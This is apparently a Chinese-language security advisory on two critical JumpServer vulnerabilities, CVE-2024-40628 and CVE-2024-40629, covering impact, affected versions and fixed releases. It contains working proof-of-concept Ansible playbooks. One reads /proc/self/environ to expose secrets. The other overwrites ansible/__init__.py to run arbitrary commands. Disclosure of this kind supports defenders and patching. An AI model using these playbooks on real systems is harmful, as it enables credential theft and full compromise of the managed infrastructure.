JumpServer 是一款广泛使用的开源特权访问管理 (PAM) 工具,现已披露两个严重漏洞,可让攻击者未经授权访问敏感系统和数据。这两个漏洞被标识为CVE-2024-40628和CVE-2024-40629,CVSS 评分均为10,即最高严重性等级。
利用缺陷
CVE-2024-40628 使攻击者能够读取 JumpServer Celery 容器内的任意文件,从而可能泄露密码、SSH 密钥和数据库凭据等敏感信息。具有 Job Center 功能访问权限的低权限用户可利用此漏洞。
复现步骤:
- hosts: all
tasks:
- name: read file from local host = celery using file lookup plugin
ansible.builtin.debug:
msg: "{{ lookup('ansible.builtin.file', '/proc/self/environ') }}"
2. 打开工作台 > 作业 > 作业列表部分,使用上面创建的剧本模板创建一个新作业。
3.运行作业
CVE-2024-40629 更为严重,允许攻击者在 Celery 容器内写入任意文件并执行代码。这可能导致 JumpServer 实例及其管理的系统完全被攻陷。与 CVE-2024-40628 一样,具有 Job Center 访问权限的低权限用户也可以利用此漏洞。
复现步骤:
1.打开 Workbench > Job > Template 部分,创建一个恶意剧本模板,内容如下:
- hosts: all
tasks:
- name: create python file on remote host that executes a command
shell: |
echo 'from ansible.release import __version__, __author__
__import__("os").system("id > /tmp/pwnd")' > /tmp/rce
- name: write that file at a known location that gets reloaded at the next
ansible execution
fetch:
src: /tmp/rce
dest: /opt/py3/lib/python3.11/site-packages/ansible/__init__.py
flat: true
2.打开工作台 > 作业 > 作业列表部分,使用上面创建的剧本模板创建一个新作业。
3.运行该作业,然后运行任何其他剧本,命令将被执行
对组织的影响
如果这些漏洞被利用,可能会给依赖 JumpServer 管理关键系统特权访问的组织带来灾难性后果。攻击者可能会窃取敏感数据、破坏运营,甚至对组织内的其他系统发起进一步攻击。
谁受到影响了?
从 v3.0.0 到 v3.10.11 的所有 JumpServer 版本都存在 CVE-2024-40628 和 CVE-2024-40629 的漏洞。
降低风险
JumpServer 已发布修复版本v3.10.12 和 v4.0.0,以解决这些漏洞。强烈建议所有使用 JumpServer 的组织立即更新到其中一个修复版本。
修复版本: